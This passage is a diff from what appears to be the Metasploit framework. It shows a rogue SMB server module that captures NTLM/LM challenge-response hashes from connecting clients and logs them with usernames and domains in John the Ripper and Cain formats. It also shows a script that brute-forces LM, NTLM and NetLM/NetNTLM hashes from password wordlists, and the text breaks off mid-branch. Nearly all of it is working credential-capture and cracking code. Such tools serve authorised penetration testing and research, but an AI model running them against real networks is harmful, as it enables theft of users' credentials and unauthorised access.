elsif nt_len > 24 #lmv2/ntlmv2
|
||||
arg = { :ntlm_ver => CONST::NTLM_V2_RESPONSE,
|
||||
:lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0],
|
||||
:lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0],
|
||||
:nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
|
||||
:nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0]
|
||||
}
|
||||
elsif nt_len == 0
|
||||
print_status("Empty hash from #{smb[:name]} captured, ignoring ... ")
|
||||
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
||||
return
|
||||
else
|
||||
print_status("Unknow hash type from #{smb[:name]}, ignoring ...")
|
||||
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
||||
return
|
||||
end
|
||||
|
||||
buff = pkt['Payload'].v['Payload']
|
||||
buff.slice!(0,securityblobLen)
|
||||
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
|
||||
smb[:username] = ntlm_message.user
|
||||
smb[:domain] = ntlm_message.domain
|
||||
smb[:peer_os] = names[0]
|
||||
smb[:peer_lm] = names[1]
|
||||
|
||||
begin
|
||||
smb_get_hash(smb,arg)
|
||||
rescue ::Exception => e
|
||||
print_status("Error processing Hash from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
||||
|
||||
else
|
||||
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
||||
end
|
||||
|
||||
#if not we can get the hash and send a status_access_denied response packet
|
||||
else
|
||||
|
||||
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
# Record the IDs
|
||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
||||
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
||||
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
|
||||
lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24
|
||||
nt_len = pkt['Payload'].v['PasswordLenNT']
|
||||
|
||||
|
||||
if nt_len == 24
|
||||
arg = { :ntlm_ver => CONST::NTLM_V1_RESPONSE,
|
||||
:lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0],
|
||||
:nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
|
||||
}
|
||||
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
||||
# a ntlmv2 response
|
||||
elsif nt_len > 24
|
||||
arg = { :ntlm_ver => CONST::NTLM_V2_RESPONSE,
|
||||
:lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0],
|
||||
:lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0],
|
||||
:nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0],
|
||||
:nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0]
|
||||
}
|
||||
elsif nt_len == 0
|
||||
print_status("Empty hash captured from #{smb[:name]} captured, ignoring ... ")
|
||||
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
||||
return
|
||||
else
|
||||
print_status("Unknow hash type capture from #{smb[:name]}, ignoring ...")
|
||||
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
||||
return
|
||||
end
|
||||
|
||||
buff = pkt['Payload'].v['Payload']
|
||||
buff.slice!(0, lm_len + nt_len)
|
||||
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
|
||||
smb[:username] = names[0]
|
||||
smb[:domain] = names[1]
|
||||
smb[:peer_os] = names[2]
|
||||
smb[:peer_lm] = names[3]
|
||||
|
||||
begin
|
||||
smb_get_hash(smb,arg)
|
||||
|
||||
rescue ::Exception => e
|
||||
print_status("Error processing Hash from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def smb_get_hash(smb,arg = {})
|
||||
|
||||
ntlm_ver = arg[:ntlm_ver]
|
||||
if ntlm_ver == CONST::NTLM_V1_RESPONSE or ntlm_ver == CONST::NTLM_2_SESSION_RESPONSE
|
||||
lm_hash = arg[:lm_hash]
|
||||
nt_hash = arg[:nt_hash]
|
||||
else
|
||||
lm_hash = arg[:lm_hash]
|
||||
nt_hash = arg[:nt_hash]
|
||||
lm_cli_challenge = arg[:lm_cli_challenge]
|
||||
nt_cli_challenge = arg[:nt_cli_challenge]
|
||||
end
|
||||
|
||||
# Clean up the data for loggging
|
||||
if (smb[:username] == "")
|
||||
@ -193,94 +434,149 @@ class Metasploit3 < Msf::Auxiliary
|
||||
else
|
||||
smb[:fullname] = smb[:username].to_s
|
||||
end
|
||||
|
||||
unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then
|
||||
|
||||
if (lm_hash == "52d536dbcefa63b9101f9c7a9d0743882f85252cc731bb25" or lm_hash == "" or lm_hash == "00")
|
||||
lm_hash = nil
|
||||
end
|
||||
@previous_lm_hash = lm_hash
|
||||
@previous_ntlm_hash = nt_hash
|
||||
|
||||
if (nt_hash == "eefabc742621a883aec4b24e0f7fbf05e17dc2880abe07cc" or nt_hash == "")
|
||||
nt_hash = nil
|
||||
end
|
||||
#TODO: check if the hash crrespond to an empty password
|
||||
if ntlm_ver == CONST::NTLM_V1_RESPONSE and (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
|
||||
lm_hash_message = "Disabled"
|
||||
elsif ntlm_ver == CONST::NTLM_V2_RESPONSE and lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
|
||||
lm_hash_message = "Disabled"
|
||||
lm_chall_message = 'Disabled'
|
||||
else
|
||||
lm_hash_message = lm_hash
|
||||
lm_chall_message = lm_cli_challenge
|
||||
end
|
||||
|
||||
capturedtime = Time.now.to_s
|
||||
case ntlm_ver
|
||||
when CONST::NTLM_V1_RESPONSE
|
||||
capturelogmessage =
|
||||
"#{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} \n" +
|
||||
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
||||
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
|
||||
when CONST::NTLM_V2_RESPONSE
|
||||
capturelogmessage =
|
||||
"#{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} \n" +
|
||||
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
||||
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
|
||||
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
|
||||
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
|
||||
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
|
||||
when CONST::NTLM_2_SESSION_RESPONSE
|
||||
capturelogmessage =
|
||||
"#{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} \n" +
|
||||
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
||||
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
|
||||
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"
|
||||
|
||||
print_status(
|
||||
"Captured #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " +
|
||||
"LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
|
||||
"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
|
||||
)
|
||||
else # should not happen
|
||||
return
|
||||
end
|
||||
|
||||
report_auth_info(
|
||||
:host => smb[:ip],
|
||||
:port => datastore['SRVPORT'],
|
||||
:sname => 'smb_challenge',
|
||||
:user => smb[:fullname],
|
||||
:pass => ( nt_hash ? nt_hash : "<NULL>" ) + ":" + (lm_hash ? lm_hash : "<NULL>" ),
|
||||
:type => "smb_hash",
|
||||
:proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}",
|
||||
:active => true
|
||||
)
|
||||
print_status(capturelogmessage)
|
||||
|
||||
report_note(
|
||||
:host => smb[:ip],
|
||||
:type => "smb_peer_os",
|
||||
:data => smb[:peer_os]
|
||||
) if (smb[:peer_os] and smb[:peer_os].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => smb[:ip],
|
||||
:type => "smb_peer_lm",
|
||||
:data => smb[:peer_lm]
|
||||
) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => smb[:ip],
|
||||
:type => "smb_domain",
|
||||
:data => smb[:domain]
|
||||
) if (smb[:domain] and smb[:domain].strip.length > 0)
|
||||
|
||||
|
||||
if(datastore['LOGFILE'])
|
||||
fd = File.open(datastore['LOGFILE'], "ab")
|
||||
fd.puts(
|
||||
[
|
||||
smb[:nbsrc],
|
||||
smb[:ip],
|
||||
smb[:username] ? smb[:username] : "<NULL>",
|
||||
smb[:domain] ? smb[:domain] : "<NULL>",
|
||||
smb[:peer_os],
|
||||
nt_hash ? nt_hash : "<NULL>",
|
||||
lm_hash ? lm_hash : "<NULL>",
|
||||
Time.now.to_s
|
||||
].join(":").gsub(/\n/, "\\n")
|
||||
report_auth_info(
|
||||
:host => smb[:ip],
|
||||
:port => datastore['SRVPORT'],
|
||||
:sname => 'smb_challenge',
|
||||
:user => smb[:fullname],
|
||||
:pass => ( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : "<NULL>" ) + ":" +
|
||||
( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s : "<NULL>" ) + ":" +
|
||||
datastore['CHALLENGE'].to_s,
|
||||
:type => "smb_hash",
|
||||
:proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}",
|
||||
:active => true
|
||||
)
|
||||
fd.close
|
||||
|
||||
report_note(
|
||||
:host => smb[:ip],
|
||||
:type => "smb_peer_os",
|
||||
:data => smb[:peer_os]
|
||||
) if (smb[:peer_os] and smb[:peer_os].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => smb[:ip],
|
||||
:type => "smb_peer_lm",
|
||||
:data => smb[:peer_lm]
|
||||
) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => smb[:ip],
|
||||
:type => "smb_domain",
|
||||
:data => smb[:domain]
|
||||
) if (smb[:domain] and smb[:domain].strip.length > 0)
|
||||
|
||||
|
||||
if(datastore['LOGFILE'])
|
||||
File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
|
||||
end
|
||||
|
||||
if(datastore['CAINPWFILE'] and smb[:username])
|
||||
if ntlm_ver == CONST::NTLM_V1_RESPONSE then
|
||||
fd = File.open(datastore['CAINPWFILE'], "ab")
|
||||
fd.puts(
|
||||
[
|
||||
smb[:username],
|
||||
smb[:domain] ? smb[:domain] : "NULL",
|
||||
@challenge.unpack("H*")[0],
|
||||
lm_hash ? lm_hash : "0" * 48,
|
||||
nt_hash ? nt_hash : "0" * 48
|
||||
].join(":").gsub(/\n/, "\\n")
|
||||
)
|
||||
fd.close
|
||||
end
|
||||
end
|
||||
|
||||
if(datastore['JOHNPWFILE'] and smb[:username])
|
||||
case ntlm_ver
|
||||
when CONST::NTLM_V1_RESPONSE
|
||||
|
||||
fd = File.open(datastore['JOHNPWFILE'] + '_lmv1_ntlmv1', "ab")
|
||||
fd.puts(
|
||||
[
|
||||
smb[:username],"",
|
||||
smb[:domain] ? smb[:domain] : "NULL",
|
||||
lm_hash ? lm_hash : "0" * 48,
|
||||
nt_hash ? nt_hash : "0" * 48,
|
||||
@challenge.unpack("H*")[0]
|
||||
].join(":").gsub(/\n/, "\\n")
|
||||
)
|
||||
fd.close
|
||||
when CONST::NTLM_V2_RESPONSE
|
||||
#lmv2
|
||||
fd = File.open(datastore['JOHNPWFILE'] + '_lmv2', "ab")
|
||||
fd.puts(
|
||||
[
|
||||
smb[:username],"",
|
||||
smb[:domain] ? smb[:domain] : "NULL",
|
||||
@challenge.unpack("H*")[0],
|
||||
lm_hash ? lm_hash : "0" * 32,
|
||||
lm_cli_challenge ? lm_cli_challenge : "0" * 16
|
||||
].join(":").gsub(/\n/, "\\n")
|
||||
)
|
||||
fd.close
|
||||
#ntlmv2
|
||||
fd = File.open(datastore['JOHNPWFILE'] + '_ntlmv2' , "ab")
|
||||
fd.puts(
|
||||
[
|
||||
smb[:username],"",
|
||||
smb[:domain] ? smb[:domain] : "NULL",
|
||||
@challenge.unpack("H*")[0],
|
||||
nt_hash ? nt_hash : "0" * 32,
|
||||
nt_cli_challenge ? nt_cli_challenge : "0" * 160
|
||||
].join(":").gsub(/\n/, "\\n")
|
||||
)
|
||||
fd.close
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
if(datastore['PWFILE'] and smb[:username] and lm_hash)
|
||||
fd = File.open(datastore['PWFILE'], "ab")
|
||||
fd.puts(
|
||||
[
|
||||
smb[:username],
|
||||
smb[:domain] ? smb[:domain] : "NULL",
|
||||
@challenge.unpack("H*")[0],
|
||||
lm_hash ? lm_hash : "0" * 32,
|
||||
nt_hash ? nt_hash : "0" * 32
|
||||
].join(":").gsub(/\n/, "\\n")
|
||||
)
|
||||
fd.close
|
||||
|
||||
end
|
||||
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
|
||||
def smb_cmd_close(c, buff)
|
||||
end
|
||||
|
||||
@ -310,7 +606,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def smb_cmd_write(c, buff)
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
@ -2,9 +2,9 @@
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This script cracks a NTLM hash based on the case-insensitive LANMAN password
|
||||
# Credit to Yannick Hamon <yannick.hamon[at]xmcopartners.com> for the idea/perl code
|
||||
#
|
||||
# This script cracks any type of NTLM hash
|
||||
# Credit to -Yannick Hamon <yannick.hamon[at]xmcopartners.com> for the original idea/perl code
|
||||
# -Alexandre Maloteaux <a.maloteaux[at]gmail.com> for improvments
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
@ -12,33 +12,53 @@ msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
|
||||
$:.unshift(File.join(File.dirname(msfbase), '..', 'lib'))
|
||||
|
||||
require 'rex'
|
||||
require 'net/ntlm'
|
||||
|
||||
BRUTE_MODE = 1
|
||||
HASH_MODE = 2
|
||||
PASS_MODE = 3
|
||||
|
||||
def usage
|
||||
$stderr.puts("\n" + " Usage: #{$0} <options>\n" + $args.usage)
|
||||
$stderr.puts("\nUsage: #{$0} -t type <options>\n" + $args.usage)
|
||||
$stderr.puts("This tool can be use in 3 ways whatever type is choosen\n")
|
||||
$stderr.puts("-If only a password (-p) is provided, it will display the hash.\n")
|
||||
$stderr.puts("-If a password (-p) and an hash (-a) is provided, it will test the password against the hash.\n")
|
||||
$stderr.puts("-If a list of password (-l) is provided and an hash (-a), it will try to bruteforce the hash \n\n")
|
||||
exit
|
||||
end
|
||||
|
||||
|
||||
ntlm = pass = nil
|
||||
chal = false
|
||||
@challenge = "\x11\x22\x33\x44\x55\x66\x77\x88"
|
||||
|
||||
type = hash = pass = srvchal = clichal = calculatedhash = list = user = domain = nil
|
||||
|
||||
$args = Rex::Parser::Arguments.new(
|
||||
"-n" => [ true, "The encypted NTLM hash to crack" ],
|
||||
"-p" => [ true, "The decrypted LANMAN password" ],
|
||||
"-c" => [ false, "Use NTLM Challenge hashes" ],
|
||||
"-h" => [ false, "Display this help information" ])
|
||||
"-t" => [ true, "The type of hash to crack : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" ],
|
||||
"-a" => [ true, "The hash to crack" ],
|
||||
"-p" => [ true, "The password " ],
|
||||
"-l" => [ true, "The list of password to check against an hash" ],
|
||||
"-s" => [ true, "The LM/NTLM Server Challenge (NET* type only)" ],
|
||||
"-c" => [ true, "The LM/NTLM Client Challenge (NETNTLM2_SESSION/NETLMv2/NETNTLMv2/ type only)" ],
|
||||
"-u" => [ true, "The user name (NETLMv2/NETNTLMv2 type only)" ],
|
||||
"-d" => [ true, "The domain (machine) name (NETLMv2/NETNTLMv2 type only)" ],
|
||||
"-h" => [ false, "Display this help information" ])
|
||||
|
||||
|
||||
$args.parse(ARGV) { |opt, idx, val|
|
||||
case opt
|
||||
when "-n"
|
||||
ntlm = val
|
||||
when "-t"
|
||||
type = val
|
||||
when "-a"
|
||||
hash = val
|
||||
when "-p"
|
||||
pass = val
|
||||
when "-l"
|
||||
list = val
|
||||
when "-s"
|
||||
srvchal = val
|
||||
when "-c"
|
||||
chal = true
|
||||
clichal = val
|
||||
when "-u"
|
||||
user = val
|
||||
when "-d"
|
||||
domain = val
|
||||
when "-h"
|
||||
usage
|
||||
else
|
||||
@ -46,35 +66,837 @@ $args.parse(ARGV) { |opt, idx, val|
|
||||
end
|
||||
}
|
||||
|
||||
if (not (ntlm and pass))
|
||||
if not type
|
||||
usage
|
||||
else
|
||||
if pass and (not (hash or list))
|
||||
mode = HASH_MODE
|
||||
elsif pass and hash and not list
|
||||
mode = PASS_MODE
|
||||
elsif list and hash and not pass
|
||||
mode = BRUTE_MODE
|
||||
if not File.exist? list
|
||||
$stderr.puts "[*] The passwords list file does not exist"
|
||||
exit
|
||||
end
|
||||
if not File.file? list
|
||||
$stderr.puts "[*] The passwords list provided is not a file"
|
||||
exit
|
||||
end
|
||||
if not File.readable? list
|
||||
$stderr.puts "[*] The passwords list file is not readable"
|
||||
exit
|
||||
end
|
||||
else
|
||||
usage
|
||||
end
|
||||
end
|
||||
|
||||
if (chal)
|
||||
if(ntlm.length != 48)
|
||||
$stderr.puts "[*] NTLM Challenge should be exactly 48 bytes of hexadecimal"
|
||||
|
||||
if type == "HALFLM" or type == "LM" or type == "NTLM" then
|
||||
if srvchal != nil or clichal != nil then
|
||||
$stderr.puts "[*] No challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
else
|
||||
if(ntlm.length != 32)
|
||||
$stderr.puts "[*] NTLM should be exactly 32 bytes of hexadecimal"
|
||||
elsif type == "HALFNETLMv1" or type == "NETLMv1" or type == "NETNTLMv1" then
|
||||
if clichal != nil then
|
||||
$stderr.puts "[*] Client challenge must not be provided with this type"
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
if(pass.length > 14)
|
||||
$stderr.puts "[*] LANMAN password should be between 1 and 14 characters"
|
||||
|
||||
case type
|
||||
when "HALFLM"
|
||||
case mode
|
||||
when BRUTE_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] HALFLM HASH must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
found = false
|
||||
match_password = nil
|
||||
File.open(list,"r") do |password_list|
|
||||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
if password =~ /^.{1,7}$/
|
||||
puts password
|
||||
calculatedhash = Net::NTLM::lm_hash(password,true).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if found
|
||||
puts "[*] Correct password found : #{match_password.upcase}"
|
||||
exit
|
||||
else
|
||||
puts "[*] No password found"
|
||||
exit
|
||||
end
|
||||
when HASH_MODE
|
||||
if not pass =~ /^.{0,7}$/
|
||||
$stderr.puts "[*] LM password can not be bigger then 7 characters"
|
||||
exit
|
||||
end
|
||||
calculatedhash = Net::NTLM::lm_hash(pass,true).unpack("H*")[0].upcase
|
||||
puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
if not pass =~ /^.{0,7}$/
|
||||
$stderr.puts "[*] LM password can not be bigger then 7 characters"
|
||||
exit
|
||||
end
|
||||
if not hash =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] LM HASH must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
calculatedhash = Net::NTLM::lm_hash(pass,true).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass.upcase}"
|
||||
exit
|
||||
else
|
||||
puts "[*] Incorrect password provided : #{pass.upcase}"
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
when "LM"
|
||||
case mode
|
||||
when BRUTE_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{32})$/
|
||||
$stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
found = false
|
||||
match_password = nil
|
||||
File.open(list,"r") do |password_list|
|
||||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
if password =~ /^.{1,14}$/
|
||||
puts password
|
||||
calculatedhash = Net::NTLM::lm_hash(password.upcase).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if found
|
||||
puts "[*] Correct password found : #{match_password.upcase}"
|
||||
exit
|
||||
else
|
||||
puts "[*] No password found"
|
||||
exit
|
||||
end
|
||||
when HASH_MODE
|
||||
if not pass =~ /^.{0,14}$/
|
||||
$stderr.puts "[*] LM password can not be bigger then 14 characters"
|
||||
exit
|
||||
end
|
||||
calculatedhash = Net::NTLM::lm_hash(pass.upcase).unpack("H*")[0].upcase
|
||||
puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
if not pass =~ /^.{0,14}$/
|
||||
$stderr.puts "[*] LM password can not be bigger then 14 characters"
|
||||
exit
|
||||
end
|
||||
if not hash =~ /^([a-fA-F0-9]{32})$/
|
||||
$stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
calculatedhash = Net::NTLM::lm_hash(pass.upcase).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass.upcase}"
|
||||
exit
|
||||
else
|
||||
puts "[*] Incorrect password provided : #{pass.upcase}"
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
when "NTLM"
|
||||
case mode
|
||||
when BRUTE_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{32})$/
|
||||
$stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
found = false
|
||||
match_password = nil
|
||||
File.open(list,"r") do |password_list|
|
||||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
puts password
|
||||
calculatedhash = Net::NTLM::ntlm_hash(password).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if found
|
||||
puts "[*] Correct password found : #{match_password}"
|
||||
exit
|
||||
else
|
||||
puts "[*] No password found"
|
||||
exit
|
||||
end
|
||||
when HASH_MODE
|
||||
calculatedhash = Net::NTLM::ntlm_hash(pass).unpack("H*")[0].upcase
|
||||
puts "[*] The NTLM hash for #{pass} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{32})$/
|
||||
$stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
calculatedhash = Net::NTLM::ntlm_hash(pass).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass}"
|
||||
exit
|
||||
else
|
||||
puts "[*] Incorrect password provided : #{pass}"
|
||||
exit
|
||||
end
|
||||
end
|
||||
when "HALFNETLMv1"
|
||||
case mode
|
||||
when BRUTE_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] NETLMv1 HASH must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
found = false
|
||||
match_password = nil
|
||||
File.open(list,"r") do |password_list|
|
||||
password_list.each_line do |line|
|
||||
password = line.gsub("\r\n",'').gsub("\n",'')
|
||||
if password =~ /^.{1,7}$/
|
||||
puts password
|
||||
#Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(password,true)[0,7],
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
|
||||
if calculatedhash == hash.upcase
|
||||
found = true
|
||||
match_password = password
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if found
|
||||
puts "[*] Correct password found : #{match_password.upcase}"
|
||||
exit
|
||||
else
|
||||
puts "[*] No password found"
|
||||
exit
|
||||
end
|
||||
when HASH_MODE
|
||||
if not pass =~ /^.{0,7}$/
|
||||
$stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(pass,true)[0,7],
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
|
||||
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
|
||||
puts "[*] The HALFNETLMv1 hash for #{pass.upcase} is : #{calculatedhash}"
|
||||
exit
|
||||
when PASS_MODE
|
||||
if not pass =~ /^.{0,7}$/
|
||||
$stderr.puts "[*] HALFNETLMv1 password can not be bigger then 7 characters"
|
||||
exit
|
||||
end
|
||||
if not hash =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] HALFNETLMv1 HASH must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
#Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one
|
||||
arglm = { :lm_hash => Net::NTLM::lm_hash(pass,true)[0,7],
|
||||
:challenge => [ srvchal ].pack("H*") }
|
||||
|
||||
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
|
||||
if hash.upcase == calculatedhash
|
||||
puts "[*] Correct password provided : #{pass.upcase}"
|
||||
exit
|
||||
else
|
||||
puts "[*] Incorrect password provided : #{pass.upcase}"
|
||||
exit
|
||||
end
|
||||
end
|
||||
when "NETLMv1"
|
||||
case mode
|
||||
when BRUTE_MODE
|
||||
if not hash =~ /^([a-fA-F0-9]{48})$/
|
||||
$stderr.puts "[*] NETLMv1 HASH must be exactly 48 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
if not srvchal
|
||||
$stderr.puts "[*] Server challenge must be provided with this type"
|
||||
exit
|
||||
end
|
||||
if not srvchal =~ /^([a-fA-F0-9]{16})$/
|
||||
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
found = false
|
||||
match_password = nil
|
||||
File.open(list,"r") do |password_list|
|
||||
password_list.each_line do |line|
|
||||
